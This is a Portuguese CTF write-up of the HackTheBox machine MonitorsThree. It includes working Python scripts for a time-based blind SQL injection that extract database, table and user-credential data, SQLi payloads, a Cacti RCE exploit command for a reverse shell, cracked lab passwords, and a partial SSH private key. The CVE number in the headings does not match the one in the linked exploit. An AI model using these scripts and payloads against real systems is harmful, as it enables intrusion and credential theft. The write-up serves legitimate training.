> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/monitorsthree-hackthebox-writeup.md).

# Writeup do HackTheBox MonitorsThree

Writeup da máquina Linux Medium MonitorsThree do HackTheBox cobrindo enumeração de subdomínios, SQLI - injeção cega manual baseada em tempo (script Python), cracking de hashes, exploração do Cacti (CVE-2024-25642)

{% embed url="<https://app.hackthebox.com/machines/622>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeração de Subdomínios
* SQLI - Injeção Cega Manual Baseada em Tempo (Script em Python)
* Quebra de hashes
* Exploração do Cacti (CVE-2024-25642) - Importação de pacote malicioso
* Vazamento de Informações
* Exploração de serviço interno - Duplicati
* Abusando do Duplicati - Bypass da autenticação de login com a senha do servidor
* Duplicati - Criando um backup para leitura e gravação privilegiadas de arquivos (Escalada de Privilégio)
  {% endhint %}

## Reconhecimento <a href="#reconnaissance" id="reconnaissance"></a>

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-248cee7ecd7dfbe0bf72b945d8732854e3731987%2Fimage%20(2306).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dada986844b36b784c989ab9a79593a54918c3a5%2Fimage%20(2307).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de Portas Abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.30 -oG allPorts
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8e04459a2a02bd8a1cbea3ab0856af4c78610b03%2Fimage%20(2308).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Análise das Portas Abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d2289a18c2e887d96f2bf9c3a71b02fc7d8c68cd%2Fimage%20(2309).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Varredura de versão das portas com Nmap:**

Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p80,22 10.10.11.30 -oN targeted
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-678a8073e2483768f03912c24ba86d8f58196890%2Fimage%20(2310).png?alt=media" alt=""><figcaption></figcaption></figure>

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP é inserido no `/etc/hosts` arquivo

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed84638a21d781227e5afd768b7422c60c6592e8%2Fimage%20(2311).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b24bad742bf695cee988b2df9c516d53a177fc22%2Fimage%20(2312).png?alt=media" alt=""><figcaption></figcaption></figure>

### Lista de diretórios:

**Pesquisar apenas** diretórios

```bash
gobuster dir -u http://monitorsthree.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e91576799bde076e18e2d659c440c3a84ae40fad%2Fimage%20(1332).png?alt=media" alt=""><figcaption></figcaption></figure>

/*/* Pesquisar arquivos com extensões específicas (PHP, HTML, TXT) no diretório admin:/*/*

```bash
gobuster dir -u http://monitorsthree.htb/admin/ -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -t 50 -b '' -x html,php,txt -s 200
```

Encontramos o `db.php` arquivo, mas ele não contém nenhum dado.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-28717970baac1f37489e0027c484309c3e134684%2Fimage%20(1333).png?alt=media" alt=""><figcaption></figcaption></figure>

## Injeção SQL

#### Detecção da vulnerabilidade

Identificamos uma vulnerabilidade de SQL no recurso "Esqueci minha senha". O seguinte payload foi usado para confirmar a vulnerabilidade:

```sql
admin' or 1=1-- -
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d2413239952363812a420725e649f6ba899ccb99%2Fimage%20(1163).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Confirmação da vulnerabilidade com ataque baseado em tempo

Para confirmar a vulnerabilidade, usamos um ataque SQL baseado em tempo:

```sql
admin' and sleep(5)-- -
```

A resposta levou 5 segundos, confirmando assim a vulnerabilidade.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e746b207e5c62a3e8932ad306e9f15dd87da9d41%2Fimage%20(2772).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Injeção SQL - Baseada em Tempo**

#### Automatizar a exploração com um script em Python

Desenvolvemos um script em Python para automatizar a extração de dados via injeção SQL. O script extraiu o nome do banco de dados, nomes de tabelas, colunas e, por fim, dados sensíveis como nomes de usuário e senhas.

### Banco de dados:

**Exemplo de script para extrair o nome do banco de dados:**

```bash
python3 exploit.py --url http://monitorsthree.htb/forgot_password.php --delay 1
```

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Configuração de logs
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Saindo.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def sqli(target_url, delay=1):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info("Iniciando ataque de injeção SQL...")
    
    for position in range(1, 100):
        character_found = False  # Indicador para verificar se um caractere foi encontrado
        
        for character in characters:
            payload = {
                'username': f"admin' AND IF(SUBSTR(database(),{position},1)='{character}',SLEEP({delay}),1)-- -",
                'password': 'admin'
            }
            
            logger.debug(f"Testando: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Falha na requisição: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Dados extraídos até agora: {extracted_data}")
                character_found = True  # Um caractere foi encontrado
                break
        
        # Se nenhum caractere for encontrado para esta posição, pare o loop
        if not character_found:
            logger.info(f"Nenhum caractere encontrado na posição {position}. Encerrando a extração.")
            break
    
    logger.info("Injeção SQL concluída!")
    logger.info(f"Dados finais extraídos: {extracted_data}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Realiza um ataque de injeção SQL baseado em tempo.")
    parser.add_argument("--url", required=True, help="URL de destino para a injeção SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Tempo de atraso para a injeção SQL")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **Nome do banco de dados**: `monitorsthree_db`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c93af63a28a5ab1dc190fd65c03c55884463a54c%2Fimage%20(2773).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Bancos de dados:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Configuração de logs
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Saindo.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + "_;:,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extraindo o nome do banco de dados no offset {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indicador para verificar se um caractere foi encontrado
        
        for character in characters:
            # Formata a requisição SQL com todas as variáveis necessárias
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Testando: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Falha na requisição: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Dados extraídos até agora: {extracted_data}")
                character_found = True  # Um caractere foi encontrado
                break
        
        # Se nenhum caractere for encontrado para esta posição, pare o loop
        if not character_found:
            logger.info(f"Nenhum caractere encontrado na posição {position}. Encerrando a extração.")
            break
    
    return extracted_data

def sqli(target_url, delay=1):
    # Requisição para extrair nomes de bancos de dados
    query_template = (
        "admin' AND IF(SUBSTR((SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    databases = []
    offset = 0
    
    while True:
        database_name = extract_data(target_url, delay, query_template, offset)
        
        if not database_name:
            logger.info("Nenhum outro banco de dados encontrado.")
            break
        
        databases.append(database_name)
        logger.info(f"Banco de dados encontrado: {database_name}")
        offset += 1
    
    logger.info("Injeção SQL concluída!")
    logger.info(f"Lista de bancos de dados: {databases}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Realiza um ataque de injeção SQL baseado em tempo.")
    parser.add_argument("--url", required=True, help="URL de destino para a injeção SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Tempo de atraso para a injeção SQL")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

#### **information/\_schema, monitorthree/\_db**

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6eb3556b428601990fd6f679865321d8108f12c3%2Fimage%20(2774).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Tabelas:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Configuração de logs
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Saindo.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extraindo o nome da tabela no offset {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indicador para verificar se um caractere foi encontrado
        
        for character in characters:
            # Formata a requisição SQL com todas as variáveis necessárias
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Testando: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Falha na requisição: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Dados extraídos até agora: {extracted_data}")
                character_found = True  # Um caractere foi encontrado
                break
        
        # Se nenhum caractere for encontrado para esta posição, pare o loop
        if not character_found:
            logger.info(f"Nenhum caractere encontrado na posição {position}. Encerrando a extração.")
            break
    
    return extracted_data

def sqli(target_url, delay=0.85):
    # Requisição para extrair nomes de tabelas do banco de dados `monitorsthree_db`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='monitorsthree_db' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    tables = []
    offset = 0
    
    while True:
        table_name = extract_data(target_url, delay, query_template, offset)
        
        if not table_name:
            logger.info("Nenhuma outra tabela encontrada.")
            break
        
        tables.append(table_name)
        logger.info(f"Tabela encontrada: {table_name}")
        offset += 1
    
    logger.info("Injeção SQL concluída!")
    logger.info(f"Lista de tabelas em monitorsthree_db: {tables}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Realiza um ataque de injeção SQL baseado em tempo.")
    parser.add_argument("--url", required=True, help="URL de destino para a injeção SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Tempo de atraso para a injeção SQL")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **Tabelas** : `invoices`, `customers`, `changelog`, `tarefas`, `invoice_tasks`, `users`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-817a935a59cbe3e0506f21f5c683c490be6eddaf%2Fimage%20(2775).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Colunas:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Configuração de logs
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Saindo.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extraindo o nome da coluna no offset {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indicador para verificar se um caractere foi encontrado
        
        for character in characters:
            # Formata a requisição SQL com todas as variáveis necessárias
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Testando: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Falha na requisição: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Dados extraídos até agora: {extracted_data}")
                character_found = True  # Um caractere foi encontrado
                break
        
        # Se nenhum caractere for encontrado para esta posição, pare o loop
        if not character_found:
            logger.info(f"Nenhum caractere encontrado na posição {position}. Encerrando a extração.")
            break
    
    return extracted_data

def sqli(target_url, delay=0.85):
    # Requisição para extrair nomes de colunas da tabela `users`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='monitorsthree_db' AND table_name='users' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    columns = []
    offset = 0
    
    while True:
        column_name = extract_data(target_url, delay, query_template, offset)
        
        if not column_name:
            logger.info("Nenhuma outra coluna encontrada.")
            break
        
        columns.append(column_name)
        logger.info(f"Coluna encontrada: {column_name}")
        offset += 1
    
    logger.info("Injeção SQL concluída!")
    logger.info(f"Lista de colunas na tabela 'users': {columns}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Realiza um ataque de injeção SQL baseado em tempo.")
    parser.add_argument("--url", required=True, help="URL de destino para a injeção SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Tempo de atraso para a injeção SQL")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **Colunas na `users` tabela**: `id`, `nome de usuário`, `email`, `senha`, `nome`, `posição`, `dob`, `start_date`, `salary`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ca55f3adfc7f7b9f4216d91941c1b39326fbdb96%2Fimage%20(2776).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Dados extraídos**:

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Configuração de logs
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Saindo.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extraindo dados no offset {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indicador para verificar se um caractere foi encontrado
        
        for character in characters:
            # Formata a requisição SQL com todas as variáveis necessárias
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Testando: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Falha na requisição: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Dados extraídos até agora: {extracted_data}")
                character_found = True  # Um caractere foi encontrado
                break
        
        # Se nenhum caractere for encontrado para esta posição, pare o loop
        if not character_found:
            logger.info(f"Nenhum caractere encontrado na posição {position}. Encerrando a extração.")
            break
    
    return extracted_data

def extract_credentials(target_url, delay=0.85):
    # Requisição para extrair nomes de usuário
    username_query_template = (
        "admin' AND IF(SUBSTR((SELECT username FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    # Requisição para extrair senhas
    password_query_template = (
        "admin' AND IF(SUBSTR((SELECT password FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    credentials = []
    offset = 0
    
    while True:
        username = extract_data(target_url, delay, username_query_template, offset)
        password = extract_data(target_url, delay, password_query_template, offset)
        
        if not username or not password:
            logger.info("Nenhuma outra credencial encontrada.")
            break
        
        credentials.append((username, password))
        logger.info(f"Credenciais encontradas: {username}:{password}")
        offset += 1
    
    logger.info("Injeção SQL concluída!")
    logger.info(f"Lista de credenciais: {credentials}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Realiza um ataque de injeção SQL baseado em tempo para extrair credenciais.")
    parser.add_argument("--url", required=True, help="URL de destino para a injeção SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Tempo de atraso para a injeção SQL")
    
    args = parser.parse_args()
    
    extract_credentials(args.url, args.delay)
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6cd29fbeb0272277c22f5b2dd87b7118efa5161e%2Fimage%20(2779).png?alt=media" alt=""><figcaption></figcaption></figure>

* `admin:31a181c8372e3afc59dab863430610e8`
* `mwatson:c585d01f2eb3e6e1073e92023088a3dd`
* `janderson:1e68b6eb86b45f6d92f8f292428f77ac`
* `dthompson:633b683cc128fe244b00f176c8a950f5`

## Quebra de senhas

{% embed url="<https://crackstation.net/>" %}

Usamos **CrackStation** para quebrar hashes de senhas. As seguintes credenciais foram obtidas:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6d50e74d72e1929319055a6263edd422f2d013e%2Fimage%20(2778).png?alt=media" alt=""><figcaption></figcaption></figure>

**Identificadores:**

* Usuário: `admin`
* Senha: `greencacti2001`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c1a10b5c0d10f80f09f9968b62102c9b549ff5bf%2F%7B99A84365-CAC2-4F99-B4C2-9ABCD5058FC7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### /*/* Lista de subdomínios\:/*/*

Usando o comando Gobuster para enumerar subdomínios:

```bash
gobuster vhost -u http://monitorsthree.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
```

Encontramos o `cacti.monitorsthree.htb` subdomínio.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e322e227b379179c1331148e3f3a6ae88f4b5d34%2Fimage%20(1334).png?alt=media" alt=""><figcaption></figcaption></figure>

Adicionamos esta entrada em `/etc/hosts`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bd67f9878b1c7acc6b50c96efd384e65c455e34b%2Fimage%20(1336).png?alt=media" alt=""><figcaption></figcaption></figure>

**Acesso ao painel de conexão do Cacti:**

O painel de conexão do Cacti, versão 1.2.26, está disponível neste subdomínio. Com `admin:greencacti2001` credenciais, conseguimos nos conectar.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a9569ebcb6bc325f184ecc836aa6a69d39e4d900%2Fimage%20(1164).png?alt=media" alt=""><figcaption></figcaption></figure>

## Exploração da vulnerabilidade RCE do Cacti <a href="#cacti-rce-vulnerability-exploitation" id="cacti-rce-vulnerability-exploitation"></a>

{% embed url="<https://github.com/5ma1l/CVE-2024-25641>" %}

Para explorar a vulnerabilidade RCE do Cacti, vamos modificar um arquivo PHP e executar um script de operação:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b3d6ec067173955063f188a6077f764adf5af92%2Fimage%20(1168).png?alt=media" alt=""><figcaption></figcaption></figure>

Este script cria um arquivo compactado contendo um payload PHP que será injetado no servidor-alvo, permitindo obter uma reverse shell.

{% code overflow="wrap" fullWidth="false" %}

```bash
python3 exploit.py http://cacti.monitorsthree.htb/cacti/ admin greencacti2001 -p php/monkey.php
```

{% endcode %}

<div data-full-width="true"><figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e78196f672197c437f48c04cbb6367761cbab65%2Fimage%20(1169).png?alt=media" alt=""><figcaption></figcaption></figure></div>

## **Escalada de privilégios :**

Ao explorar o `/var/www/html` diretório web, encontramos arquivos de banco de dados na `cacti` pasta, incluindo o `config.php` arquivo de configuração localizado em `/var/www/html/cacti/include/config.php`.

Trechos de `config.php`:

```php
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port = '3306';
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-84e41ca07ad68c8343c8acd11093c971f12f8971%2Fimage%20(1175).png?alt=media" alt=""><figcaption></figcaption></figure>

Em seguida, listamos usuários na `user_auth` tabela na `cacti` banco de dados:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40a6f46176b44e7cb72916ec6b677cacdc225d94%2F%7B141E5C94-E5A4-40AE-94DE-72A480601B50%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```sql
Select * from user_auth
```

<div data-full-width="true"><figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-111336a7dca78fd4386cddc21a2cea961cfef9fe%2Fimage%20(1176).png?alt=media" alt=""><figcaption></figcaption></figure></div>

Usamos `john` para quebrar as senhas recuperadas:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

Isso revela o `marcus` senha do usuário: `12345678910`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-61e8d76fdca37cc18c0423ddeb8be7745f3a151e%2Fimage%20(1177).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8cae48acc12129d2984229eb20ed898a6ce73e1b%2Fimage%20(1178).png?alt=media" alt=""><figcaption></figcaption></figure>

Após esta etapa, também obtemos a `marcus` chave SSH do usuário:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-343a222d55a0209b1002bbbc6542cd8c563d9990%2Fimage%20(1159).png?alt=media" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAqgvIpzJXDWJOJejC3CL0m9gx8IXO7UBIfGplG1XCC6GhqPQh8OXK
rPkApFwR1k4oJkxQJi0fG2oSWmssfwqwY4FWw51sNIALbSIV3UIlz8/3ufN0zmB4WHacS+
k7hOP/rJ8GjxihThmh6PzC0RbpD/wCCCvF1qX+Bq8xc7797xBR4KfPaA9OgB0uvEuzVWco
MYII6QvznQ1FErJnOiceJoxRrl0866JmOf6moP66URla5+0sLta796+ARDNMQ2g4geh53p
ja3nZYq2QAi1b66GIRmYUGz4uWunRJ+6kUvf7QVmNgmmnF2cVYFpdlBp8WAMZ2XyeqhTkh
Z4fg6mwPyQfloTFYxw1jv96F+Kw4ET1tTL+PLQL0YpHgRTelkCKBxo4/NiGs6LTEzsucyq
Dedke5o/5xcIGnU/kTtwt5xXZMqmojXOywf77vomCuLHfcyePf2vwImF9Frs07lo3ps7pK
ipf5cQ4wYN5V7I+hFcie5p9eeG+9ovdw7Q6qrD77AAAFkIu0kraLtJK2AAAAB3NzaC1yc2
EAAAGBAKoLyKcyVw1iTiXowtwi9JvYMfCFzu1ASHxqZRtVwguhoaj0IfDlyqz5AKRcEdZO
KCZMUCYtHxtqElprLH8KsGOBVsOdbDSAC20iFd1CJc/P97nzdM5geFh2nEvpO4Tj/6yfBo
8YoU4Zoej8wtEW6Q/8Aggrxdal/gavMXO+/e8QUeCnz2gPToAdLrxLs1VnKDGCCOkL850N
RRKyZzonHiaMUa5dPOuiZjn+pqD+ulEZWuftLC7Wu/evgEQzTENoOIHoed6Y2t52WKtkAI
tW+uhiEZmFBs+Llrp0SfupFL3+0FZjYJppxdnFWBaXZQafFgDGdl8nqoU5IWeH4OpsD8kH
5aExWMcNY7/ehfisOBE9bUy/jy0C9GKR4EU3pZAigcaOPzYhrOi0xM7LnMqg3nZHuaP+cX
CBp1P5E7cLecV2TKpqI1zssH++76Jgrix33Mnj39r8CJhfRa7NO5aN6bO6SoqX+XEOMGDe
VeyPoRXInuafXnhvvaL3cO0Oqqw++wAAAAMBAAEAAAGAAxIKAEaO9xZnRrjh0INYCA8sBP
UdlPWmX9KBrTo4shGXYqytDCOUpq738zginrfiDDtO5Do4oVqN/a83X/ibBQuC0HaC0NDA
HvLQy0D4YQ6/8wE0K8MFqKUHpE2VQJvTLFl7UZ4dVkAv4JhYStnM1ZbVt5kNyQzIn1T030
zAwVsn0tmQYsTHWPSrYgd3+36zDnAJt+koefv3xsmhnYEZwruXTZYW0EKqLuKpem7algzS
Dkykbe/YupujChCK0u5KY2JL9a+YDQn7mberAY31KPAyOB66ba60FUgwECw0J4eTLMjeEA
bppHadb5vQKH2ZhebpQlTiLEs2h9h9cwuW4GrJl3vcVqV68ECGwqr7/7OvlmyUgzJFh0+8
/MFEq8iQ0VY4as4y88aMCuqDTT1x6Zqg1c8DuBeZkbvRDnU6IJ/qstLGfKmxg6s+VXpKlB
iYckHk0TAs6FDngfxiRHvIAh8Xm+ke4ZGh59WJyPHGJ/6yh3ie7Eh+5h/fm8QRrmOpAAAA
